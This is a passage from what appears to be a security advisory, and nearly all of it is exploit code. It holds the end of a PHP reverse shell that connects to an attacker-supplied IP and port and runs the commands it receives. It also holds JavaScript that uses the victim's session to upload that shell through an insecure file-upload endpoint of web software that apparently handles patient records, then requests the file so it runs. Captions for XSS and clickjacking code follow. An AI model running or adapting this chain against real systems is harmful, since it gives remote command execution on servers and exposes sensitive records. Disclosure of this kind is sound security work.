$out=RdxQvmVXDdP(substr($c,0,-1));

if($out===false){

fwrite($s,$nofuncs);

break;

}

}

fwrite($s,$out);

}

fclose($s);

}else{

$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

@socket_connect($s,$ipaddr,$port);

@socket_write($s,"socket_create");

while($c=@socket_read($s,2048)){

$out = '';

if(substr($c,0,3) == 'cd '){

chdir(substr($c,3,-1));

} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {

break;

}else{

$out=RdxQvmVXDdP(substr($c,0,-1));

if($out===false){

@socket_write($s,$nofuncs);

break;

}

}

@socket_write($s,$out,strlen($out));

}

@socket_close($s);

}`

// Uploads shell code via insecure file upload, executes shell

var formData = new FormData();

var blob = new Blob([shellCode], { type: "application/x-php"});

formData.append('name', 'rshell.php')

formData.append('file', blob, 'shell.php')

var x = ''

fetch('/gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=31337&patient_id=&encounter_id=0&encrypt=N&target_folder=preferences',{

method: 'POST',

credentials: 'include',

body: formData

}).then(response => response.json())

.catch(error => console.error('Error:', error))

.then(response => fetch('/webroot/userhome/preferences/' + response["fileName"]));

The following code (xss-shell.js) was used in the CSRF finding included in this advisory:

Clickjacking



The following code (clickjacked.html) was used in the Clickjacking finding included in this advisory:



